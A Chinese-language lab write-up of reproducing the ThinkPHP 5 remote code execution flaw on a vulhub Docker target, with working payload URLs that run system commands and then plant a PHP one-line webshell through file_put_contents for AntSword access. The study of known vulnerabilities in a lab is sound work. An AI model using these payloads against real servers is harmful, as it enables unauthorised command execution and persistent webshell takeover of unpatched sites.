一、 准备工作
复现此漏洞需要安装docker,下载安装docker-compose,搭建vulhub靶场,保证攻击机与靶机之间的网络互通。
二、 漏洞介绍
ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于框架对控制器名没有进行足够的检测,会导致在没有开启强制路由的情况下可执行任意方法,从而导致远程命令执行漏洞。
三、 影响版本:
包括5.0.23和5.1.31之前的所有版本
四、 复现过程
先cd到目录下启动漏洞环境
docker-compose up -d
然后我们输入docker ps查看一下服务起到哪个端口
访问http://youIP:8080看到thinkphp默认启动页说明环境正常。
使用payload即可看到执行了phpinfo:
执行命令Payload的URL组成
- http://yourIP:port/index.php//主页
- ?s=/Index/\think\app/invokefunction // s变量是这个漏洞利用的主要变量
- &function=call_user_func_array //漏洞存在于这个函数中
- &vars[0]=system //使用system函数执行命令
- &vars[1][]=id //要执行的命令,这里执行的是id命令
执行效果:
http://192.168.163.130:8080/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
利用了system函数执行命令id:
五、 GetShell
我们构造URL:
http://youIP:port/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=1.php&vars[1][]=<?php @eval($_POST[‘1qaz’]);?>
file_put_contents //使用file_put_contents函数实现写入webshell
注意要用POST
写入一个1.php的一句话木马,回显30代表成功了;
进入容器查看一下,文件会被写入到public目录中:
用蚁剑连接一下getshell
请登录后发表评论
注册
社交帐号登录